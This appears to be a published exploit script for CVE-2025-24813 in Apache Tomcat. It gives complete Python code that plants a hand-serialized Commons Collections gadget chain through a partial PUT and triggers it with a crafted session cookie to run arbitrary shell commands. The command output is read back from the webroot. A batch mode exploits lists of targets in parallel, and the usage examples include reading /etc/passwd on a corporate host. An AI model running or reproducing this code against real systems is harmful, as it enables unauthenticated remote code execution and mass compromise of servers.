📄 Apache Tomcat 11.0.2 Remote Code Execution

#!/usr/bin/env python3
    """
    CVE-2025-24813 - Apache Tomcat partial PUT path equivalence -> Java deserialization RCE
    Affected: Apache Tomcat 9.0.0.M1-9.0.98, 10.1.0-M1-10.1.34, 11.0.0-M1-11.0.2, 8.5.0-8.5.100
    Type: RCE (unauthenticated)
    
    Root cause (re-derived from the Tomcat source at tag 9.0.98, not from any public PoC):
    
      DefaultServlet.executePartialPut() stages a partial PUT body in a temp file whose
      name is the request path with every '/' turned into '.'. A PUT to "/NAME/session"
      therefore creates ".NAME.session" directly in the servlet context temp directory,
      and the vulnerable build never deletes it (only deleteOnExit()). When the webapp
      uses PersistentManager + FileStore at the default directory ("."), that same temp
      directory is where sessions are read from, and FileStore.file(id) is id + ".session".
      So the planted file ".NAME.session" is loadable as session id ".NAME". Sending a
      request that opens a session with "Cookie: JSESSIONID=.NAME" makes FileStore.load()
      hand our bytes straight to ObjectInputStream.readObject() with no class filter,
      detonating a gadget chain resolvable from WEB-INF/lib (Commons Collections 3.2.1).
    
    The serialized Commons Collections gadget below is emitted byte-by-byte from the Java
    serialization protocol - it is not adapted from anyone else's serialized blob.
    
    Usage:
      python exploit.py --host 127.0.0.1 --port 8080
      python exploit.py --host 127.0.0.1 --port 8080 --command "id"
      python exploit.py --host https://tomcat.corp.com:8443 --command "cat /etc/passwd"
      python exploit.py --host 10.0.0.5 --port 8080 --trigger-path /app/whoami.jsp
      python exploit.py --list targets.txt --workers 20
    
    The RCE evidence is made network-observable: the gadget runs
      /bin/sh -c "<command> > <docroot>/<random>.txt 2>&1"
    and the exploit then fetches GET /<random>.txt over HTTP and prints the body. A 200
    whose body carries the command output is self-contained proof of code execution.
    """
    
    import argparse
    import secrets
    import ssl
    import struct
    import sys
    import time
    from urllib.parse import urlparse
    
    try:
        import requests
        from requests.packages.urllib3.exceptions import InsecureRequestWarning
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
    except Exception:  # pragma: no cover - requests is a hard dependency
        print("This exploit requires the 'requests' package (pip install requests).")
        sys.exit(2)
    
    CVE_ID    = "CVE-2025-24813"
    VULN_TYPE = "RCE"
    
    DEFAULT_TRIGGER_PATH = "/trigger.jsp"
    DEFAULT_DOCROOT      = "/usr/local/tomcat/webapps/ROOT"
    
    
    # --------------------------------------------------------------------------- #
    #  Output helpers                                                             #
    # --------------------------------------------------------------------------- #
    def header(host, port):
        print("\n%s" % ("=" * 60))
        print("  ALIM EXPLOIT  %s" % CVE_ID)
        print("  Type: %s  |  Target: %s:%s" % (VULN_TYPE, host, port))
        print("%s\n" % ("=" * 60))
    
    
    def step(n, msg):
        print("[STEP %d] %s" % (n, msg))
    
    
    def section(label, content):
        print("\n--- %s ---" % label)
        print(str(content).strip())
        print("---\n")
    
    
    def done(success, evidence):
        print("\n%s" % ("=" * 60))
        print("  RESULT  : %s" % ("SUCCESS" if success else "FAILURE"))
        print("  EVIDENCE: %s" % evidence)
        print("%s\n" % ("=" * 60))
        sys.exit(0 if success else 1)
    
    
    # --------------------------------------------------------------------------- #
    #  Java serialization stream writer                                           #
    #                                                                             #
    #  A minimal, reference-free encoder for the exact object graph we need.      #
    #  Every class descriptor and type-signature string is written out in full    #
    #  (no TC_REFERENCE back-pointers); the graph is a tree with no shared nodes, #
    #  so this is byte-for-byte valid and much less error prone to build.         #
    # --------------------------------------------------------------------------- #
    TC_NULL         = 0x70
    TC_CLASSDESC    = 0x72
    TC_OBJECT       = 0x73
    TC_STRING       = 0x74
    TC_ARRAY        = 0x75
    TC_CLASS        = 0x76
    TC_BLOCKDATA    = 0x77
    TC_ENDBLOCKDATA = 0x78
    
    SC_WRITE_METHOD = 0x01
    SC_SERIALIZABLE = 0x02
    
    # serialVersionUIDs read out of commons-collections:3.2.1 and the JDK.
    SUID = {
        "java.util.HashSet":     -5024744406713321676,
        "java.util.HashMap":      362498820763181265,
        "TiedMapEntry":          -8453869361373831205,
        "LazyMap":                7990956402564206740,
        "ChainedTransformer":     3514945074733160196,
        "ConstantTransformer":    6374440726369055124,
        "InvokerTransformer":    -8653385846894047688,
        "java.lang.String":      -6849794470754667710,
    }
    
    # Fully-qualified names.
    CN = {
        "TiedMapEntry":       "org.apache.commons.collections.keyvalue.TiedMapEntry",
        "LazyMap":            "org.apache.commons.collections.map.LazyMap",
        "ChainedTransformer": "org.apache.commons.collections.functors.ChainedTransformer",
        "ConstantTransformer":"org.apache.commons.collections.functors.ConstantTransformer",
        "InvokerTransformer": "org.apache.commons.collections.functors.InvokerTransformer",
        "TransformerArray":   "[Lorg.apache.commons.collections.Transformer;",
    }
    
    
    class JavaSer(object):
        def __init__(self):
            self.b = bytearray()
    
        # -- primitives -------------------------------------------------------- #
        def u1(self, v):
            self.b.append(v & 0xFF)
    
        def u2(self, v):
            self.b += struct.pack(">H", v)
    
        def i4(self, v):
            self.b += struct.pack(">i", v)
    
        def i8(self, v):
            self.b += struct.pack(">q", v)
    
        def f4(self, v):
            self.b += struct.pack(">f", v)
    
        def utf(self, s):
            raw = s.encode("utf-8")
            self.u2(len(raw))
            self.b += raw
    
        def utf_string(self, s):
            """A TC_STRING object (used for String field values / string elements)."""
            self.u1(TC_STRING)
            self.utf(s)
    
        # -- class descriptors ------------------------------------------------- #
        def class_desc(self, name, suid, flags, fields):
            """
            fields: list of (typecode_char, field_name, signature_or_None).
            Reference-free: super is always null, no class annotations.
            """
            self.u1(TC_CLASSDESC)
            self.utf(name)
            self.i8(suid)
            self.u1(flags)
            self.u2(len(fields))
            for tc, fname, sig in fields:
                self.u1(ord(tc))
                self.utf(fname)
                if tc in ("L", "["):
                    self.utf_string(sig)
            self.u1(TC_ENDBLOCKDATA)   # end of class annotations
            self.u1(TC_NULL)           # no superclass
    
        # -- Class objects (TC_CLASS) ----------------------------------------- #
        def class_ref_nonserial(self, name):
            """A java.lang.Class object for a non-serializable class (suid 0, flags 0)."""
            self.u1(TC_CLASS)
            self.class_desc(name, 0, 0, [])
    
        def class_ref_string(self):
            """Class object for java.lang.String (serializable, real suid)."""
            self.u1(TC_CLASS)
            self.class_desc("java.lang.String", SUID["java.lang.String"], SC_SERIALIZABLE, [])
    
        def class_ref_array(self, name):
            """Class object for an array type (arrays are serializable, suid 0)."""
            self.u1(TC_CLASS)
            self.class_desc(name, 0, SC_SERIALIZABLE, [])
    
    
    # --------------------------------------------------------------------------- #
    #  Object-graph emitters                                                       #
    # --------------------------------------------------------------------------- #
    def emit_hashmap_empty(s):
        """An empty java.util.HashMap (the map LazyMap decorates)."""
        s.u1(TC_OBJECT)
        s.class_desc("java.util.HashMap", SUID["java.util.HashMap"],
                     SC_SERIALIZABLE | SC_WRITE_METHOD,
                     [("F", "loadFactor", None), ("I", "threshold", None)])
        # default field values: loadFactor, threshold (both primitives, raw)
        s.f4(0.75)
        s.i4(12)
        # objectAnnotation from HashMap.writeObject: writeInt(buckets), writeInt(size)
        s.u1(TC_BLOCKDATA)
        s.u1(8)
        s.i4(16)   # buckets
        s.i4(0)    # size (empty)
        s.u1(TC_ENDBLOCKDATA)
    
    
    def emit_class_array(s, class_emitters):
        """Object[] of java.lang.Class -> [Ljava.lang.Class;"""
        s.u1(TC_ARRAY)
        s.class_desc("[Ljava.lang.Class;", 0, SC_SERIALIZABLE, [])
        s.i4(len(class_emitters))
        for emit in class_emitters:
            emit(s)
    
    
    def emit_object_array(s, elem_emitters):
        """Object[] -> [Ljava.lang.Object;"""
        s.u1(TC_ARRAY)
        s.class_desc("[Ljava.lang.Object;", 0, SC_SERIALIZABLE, [])
        s.i4(len(elem_emitters))
        for emit in elem_emitters:
            emit(s)
    
    
    def emit_string_array(s, strings):
        """String[] -> [Ljava.lang.String;"""
        s.u1(TC_ARRAY)
        s.class_desc("[Ljava.lang.String;", 0, SC_SERIALIZABLE, [])
        s.i4(len(strings))
        for item in strings:
            s.utf_string(item)
    
    
    def emit_invoker(s, method_name, param_type_emitters, arg_emitters):
        """org.apache.commons.collections.functors.InvokerTransformer
    
        Declared serializable fields in canonical (all-object, alphabetical) order:
          iArgs ([Ljava/lang/Object;), iMethodName (Ljava/lang/String;), iParamTypes ([Ljava/lang/Class;)
        """
        s.u1(TC_OBJECT)
        s.class_desc(CN["InvokerTransformer"], SUID["InvokerTransformer"], SC_SERIALIZABLE, [
            ("[", "iArgs",       "[Ljava/lang/Object;"),
            ("L", "iMethodName", "Ljava/lang/String;"),
            ("[", "iParamTypes", "[Ljava/lang/Class;"),
        ])
        # field values in the same order
        emit_object_array(s, arg_emitters)     # iArgs
        s.utf_string(method_name)              # iMethodName
        emit_class_array(s, param_type_emitters)  # iParamTypes
    
    
    def emit_constant_runtime(s):
        """ConstantTransformer holding the java.lang.Runtime Class object."""
        s.u1(TC_OBJECT)
        s.class_desc(CN["ConstantTransformer"], SUID["ConstantTransformer"], SC_SERIALIZABLE, [
            ("L", "iConstant", "Ljava/lang/Object;"),
        ])
        s.class_ref_nonserial("java.lang.Runtime")   # iConstant = Runtime.class
    
    
    def emit_transformer_array(s, command_argv):
        """[Lorg.apache.commons.collections.Transformer; holding the 4-step chain."""
        s.u1(TC_ARRAY)
        s.class_desc(CN["TransformerArray"], 0, SC_SERIALIZABLE, [])
        s.i4(4)
    
        # 0: ConstantTransformer(Runtime.class)
        emit_constant_runtime(s)
    
        # 1: InvokerTransformer("getMethod", [String.class, Class[].class], ["getRuntime", new Class[0]])
        emit_invoker(
            s, "getMethod",
            [lambda x: x.class_ref_string(),
             lambda x: x.class_ref_array("[Ljava.lang.Class;")],
            [lambda x: x.utf_string("getRuntime"),
             lambda x: emit_class_array(x, [])],
        )
    
        # 2: InvokerTransformer("invoke", [Object.class, Object[].class], [null, new Object[0]])
        emit_invoker(
            s, "invoke",
            [lambda x: x.class_ref_nonserial("java.lang.Object"),
             lambda x: x.class_ref_array("[Ljava.lang.Object;")],
            [lambda x: x.u1(TC_NULL),
             lambda x: emit_object_array(x, [])],
        )
    
        # 3: InvokerTransformer("exec", [String[].class], [ new String[]{...argv...} ])
        emit_invoker(
            s, "exec",
            [lambda x: x.class_ref_array("[Ljava.lang.String;")],
            [lambda x: emit_string_array(x, command_argv)],
        )
    
    
    def emit_chained_transformer(s, command_argv):
        s.u1(TC_OBJECT)
        s.class_desc(CN["ChainedTransformer"], SUID["ChainedTransformer"], SC_SERIALIZABLE, [
            ("[", "iTransformers", "[Lorg/apache/commons/collections/Transformer;"),
        ])
        emit_transformer_array(s, command_argv)
    
    
    def emit_lazy_map(s, command_argv):
        """LazyMap: custom writeObject writes the 'factory' field, then the decorated map."""
        s.u1(TC_OBJECT)
        s.class_desc(CN["LazyMap"], SUID["LazyMap"], SC_SERIALIZABLE | SC_WRITE_METHOD, [
            ("L", "factory", "Lorg/apache/commons/collections/Transformer;"),
        ])
        # default field value: factory
        emit_chained_transformer(s, command_argv)
        # objectAnnotation: out.writeObject(map) then end
        emit_hashmap_empty(s)
        s.u1(TC_ENDBLOCKDATA)
    
    
    def emit_tied_map_entry(s, key, command_argv):
        """TiedMapEntry: fields (alphabetical) key (Object), map (Map)."""
        s.u1(TC_OBJECT)
        s.class_desc(CN["TiedMapEntry"], SUID["TiedMapEntry"], SC_SERIALIZABLE, [
            ("L", "key", "Ljava/lang/Object;"),
            ("L", "map", "Ljava/util/Map;"),
        ])
        s.utf_string(key)                 # key
        emit_lazy_map(s, command_argv)    # map
    
    
    def build_payload(command_argv, key):
        """
        Build the full serialized stream for a HashSet whose single element is a
        TiedMapEntry that detonates the ChainedTransformer during HashSet.readObject().
        """
        s = JavaSer()
        s.b += b"\xac\xed\x00\x05"   # STREAM_MAGIC + STREAM_VERSION
        s.u1(TC_OBJECT)
        s.class_desc("java.util.HashSet", SUID["java.util.HashSet"],
                     SC_SERIALIZABLE | SC_WRITE_METHOD, [])
        # HashSet has no default serializable fields.
        # objectAnnotation from HashSet.writeObject: capacity(int), loadFactor(float), size(int)
        s.u1(TC_BLOCKDATA)
        s.u1(12)
        s.i4(16)       # capacity
        s.f4(0.75)     # loadFactor
        s.i4(1)        # size
        emit_tied_map_entry(s, key, command_argv)   # the single element
        s.u1(TC_ENDBLOCKDATA)
        return bytes(s.b)
    
    
    # --------------------------------------------------------------------------- #
    #  Exploit primitives                                                          #
    # --------------------------------------------------------------------------- #
    def _rand_name(n=10):
        alphabet = "abcdefghijklmnopqrstuvwxyz0123456789"
        return "".join(secrets.choice(alphabet) for _ in range(n))
    
    
    def _base_url(host, port, use_tls):
        scheme = "https" if use_tls else "http"
        return "%s://%s:%d" % (scheme, host, port)
    
    
    def _join(base_path, leaf):
        root = base_path.rstrip("/")
        return root + "/" + leaf.lstrip("/")
    
    
    def _core(host, port, use_tls, base_path, trigger_path, docroot, command,
              timeout=20, verbose=False):
        """
        Plant -> trigger -> read back. Returns (success, evidence, output_text).
        Prints via step()/section() only when verbose=True; never calls sys.exit().
        """
        base = _base_url(host, port, use_tls)
        name = _rand_name()               # [a-z0-9] only -> session id ".name" has one dot at index 0
        marker = _rand_name()
        sess_id = "." + name
    
        # Command whose *effect* is network-observable: write output into the docroot,
        # then fetch it over HTTP. Runtime.exec must use the String[] form or the shell
        # redirection would be passed as a literal argument.
        marker_file = docroot.rstrip("/") + "/" + marker + ".txt"
        # Group the command so the redirect captures a compound command's full output,
        # not just the last element of a ';'-separated list.
        shell_cmd = "{ %s ; } > %s 2>&1" % (command, marker_file)
        argv = ["/bin/sh", "-c", shell_cmd]
    
        payload = build_payload(argv, key=_rand_name())
        n = len(payload)
    
        plant_url = base + _join(base_path, name + "/session")
        marker_url = base + _join(base_path, marker + ".txt")
        trigger_url = base + trigger_path
    
        sess = requests.Session()
        sess.trust_env = False
    
        # -- Step 1: plant the staging file via a partial PUT -------------------- #
        if verbose:
            step(1, "Planting deserialization payload via partial PUT (%d bytes) -> %s"
                 % (n, plant_url))
        put_headers = {
            "Content-Range": "bytes 0-%d/%d" % (n - 1, n),
            "Content-Type": "application/octet-stream",
        }
        try:
            r1 = sess.put(plant_url, data=payload, headers=put_headers,
                          timeout=timeout, verify=False, allow_redirects=False)
        except requests.RequestException as e:
            return False, "unreachable during PUT (%s)" % e.__class__.__name__, ""
    
        if verbose:
            section("PLANT RESPONSE", "HTTP %d  (409/201/204 = staging file created)" % r1.status_code)
    
        if r1.status_code == 405:
            return False, "PUT returned 405 - DefaultServlet readonly=true (not exploitable)", ""
        if r1.status_code == 400:
            return False, "PUT returned 400 - allowPartialPut disabled or Content-Range rejected", ""
        if r1.status_code not in (409, 201, 204, 200):
            return (False,
                    "unexpected PUT status %d - target may be patched or not writable" % r1.status_code,
                    "")
    
        # -- Step 2: trigger deserialization (do NOT sleep - the file is reaped) - #
        if verbose:
            step(2, "Triggering deserialization: GET %s  with Cookie JSESSIONID=%s"
                 % (trigger_url, sess_id))
        trig_headers = {"Cookie": "JSESSIONID=%s" % sess_id}
        try:
            r2 = sess.get(trigger_url, headers=trig_headers,
                          timeout=timeout, verify=False, allow_redirects=False)
            trig_status = r2.status_code
        except requests.RequestException as e:
            # Even a hard reset here can mean the chain ran; keep going to read the marker.
            trig_status = -1
            if verbose:
                section("TRIGGER", "request error (%s) - checking for command output anyway"
                        % e.__class__.__name__)
    
        if verbose and trig_status != -1:
            # 500 = deserialization path reached and the (Long) cast blew up after the chain ran.
            section("TRIGGER RESPONSE",
                    "HTTP %d  (500 = payload was read and deserialised)" % trig_status)
    
        # -- Step 3: read the command output back over HTTP --------------------- #
        if verbose:
            step(3, "Reading command output over HTTP: GET %s" % marker_url)
        output = ""
        for _ in range(8):
            try:
                r3 = sess.get(marker_url, timeout=timeout, verify=False, allow_redirects=False)
            except requests.RequestException:
                time.sleep(0.7)
                continue
            if r3.status_code == 200 and r3.text.strip():
                output = r3.text
                break
            time.sleep(0.7)
    
        if output.strip():
            first = output.strip().splitlines()[0].strip()
            return True, "command '%s' executed - %s" % (command, first), output
    
        if trig_status == 500:
            return (False,
                    "deserialization reached (HTTP 500) but no command output at %s - "
                    "check --docroot / --command" % marker_url, "")
        if trig_status == 200:
            return (False,
                    "trigger returned 200 (fresh session) - staged file missing/reaped or target patched",
                    "")
        return False, "no command output retrieved (trigger status %s)" % trig_status, ""
    
    
    # --------------------------------------------------------------------------- #
    #  Single-target exploit                                                        #
    # --------------------------------------------------------------------------- #
    def exploit(host, port, use_tls, base_path, trigger_path, docroot, command):
        header(host, port)
    
        # Optional recon: PUT in the Allow header confirms readonly=false without writing.
        try:
            base = _base_url(host, port, use_tls)
            opt = requests.options(base + _join(base_path, "favicon.ico"),
                                   timeout=10, verify=False, allow_redirects=False)
            allow = opt.headers.get("Allow", "")
            if allow:
                section("RECON  (OPTIONS Allow)",
                        "%s   %s" % (allow, "<- PUT present, writes enabled" if "PUT" in allow.upper()
                                     else "<- PUT absent, readonly may still be true"))
        except requests.RequestException:
            pass
    
        ok, evidence, output = _core(host, port, use_tls, base_path, trigger_path,
                                     docroot, command, verbose=True)
        if ok:
            section("COMMAND OUTPUT", output)
        else:
            section("RESULT DETAIL", evidence)
        done(ok, evidence)
    
    
    # --------------------------------------------------------------------------- #
    #  Scan mode                                                                    #
    # --------------------------------------------------------------------------- #
    def _try_exploit(host, port, use_tls, base_path="/", trigger_path=DEFAULT_TRIGGER_PATH,
                     docroot=DEFAULT_DOCROOT, command="id"):
        """Silent probe for --list mode. Returns (success, evidence). Never prints/exits."""
        try:
            ok, evidence, _ = _core(host, port, use_tls, base_path, trigger_path,
                                     docroot, command, verbose=False)
            return ok, evidence
        except Exception as e:  # pragma: no cover - defensive, scan must not crash
            return False, "error (%s)" % e.__class__.__name__
    
    
    def _parse_target(line, default_port, default_path="/"):
        """One target line -> (host, port, use_tls, path), or None to skip."""
        line = line.strip()
        if not line or line.startswith("#"):
            return None
        if line.startswith(("http://", "https://")):
            p = urlparse(line)
            tls = p.scheme == "https"
            path = p.path if (p.path and p.path not in ("", "/")) else default_path
            return p.hostname, p.port or (443 if tls else default_port), tls, path
        if ":" in line:
            parts = line.rsplit(":", 1)
            try:
                port = int(parts[1])
                return parts[0], port, port in (443, 8443), default_path
            except ValueError:
                pass
        return line, default_port, default_port in (443, 8443), default_path
    
    
    def scan(targets_file, default_port, workers, trigger_path, docroot, command):
        import concurrent.futures
    
        with open(targets_file) as f:
            targets = [_parse_target(l, default_port) for l in f]
        targets = [t for t in targets if t is not None]
    
        print("\n%s" % ("=" * 60))
        print("  %s - Batch Scan  (%d targets, %d workers)" % (CVE_ID, len(targets), workers))
        print("%s\n" % ("=" * 60))
    
        success_count = 0
    
        def probe(t):
            host, port, use_tls, path = t
            label = "%s://%s:%s" % ("https" if use_tls else "http", host, port)
            ok, evidence = _try_exploit(host, port, use_tls, base_path=path,
                                        trigger_path=trigger_path, docroot=docroot,
                                        command=command)
            return label, ok, evidence
    
        with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
            futures = {ex.submit(probe, t): t for t in targets}
            for fut in concurrent.futures.as_completed(futures):
                label, ok, evidence = fut.result()
                print("  %s %s - %s: %s" % ("[+]" if ok else "[-]", label,
                                            "Exploited" if ok else "Not vulnerable", evidence))
                if ok:
                    success_count += 1
    
        total = len(targets)
        print("\n%s" % ("=" * 60))
        print("  SCAN COMPLETE  %d exploited / %d not vulnerable  (%d total)"
              % (success_count, total - success_count, total))
        print("%s\n" % ("=" * 60))
        sys.exit(0 if success_count > 0 else 1)
    
    
    # --------------------------------------------------------------------------- #
    #  CLI                                                                          #
    # --------------------------------------------------------------------------- #
    if __name__ == "__main__":
        parser = argparse.ArgumentParser(description="%s exploit PoC" % CVE_ID)
        target_grp = parser.add_mutually_exclusive_group(required=True)
        target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://host:8443)")
        target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
        parser.add_argument("--port", type=int, default=8080, help="Default port (default: 8080)")
        parser.add_argument("--command", default="id",
                            help="Command to execute on the target (default: id)")
        parser.add_argument("--trigger-path", default=DEFAULT_TRIGGER_PATH,
                            help="A path in the app that calls request.getSession() "
                                 "(default: %s)" % DEFAULT_TRIGGER_PATH)
        parser.add_argument("--docroot", default=DEFAULT_DOCROOT,
                            help="Web-served, writable directory for the evidence file "
                                 "(default: %s)" % DEFAULT_DOCROOT)
        parser.add_argument("--base-path", default="/",
                            help="Context path prefix of the target webapp (default: /)")
        parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
        tls_grp = parser.add_mutually_exclusive_group()
        tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
        tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
        args = parser.parse_args()
    
        if args.list:
            scan(args.list, default_port=args.port, workers=args.workers,
                 trigger_path=args.trigger_path, docroot=args.docroot, command=args.command)
        else:
            parsed = _parse_target(args.host, args.port, default_path=args.base_path)
            host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, args.base_path)
            if args.tls:
                use_tls = True
            if args.no_tls:
                use_tls = False
            exploit(host, port, use_tls, path, args.trigger_path, args.docroot, args.command)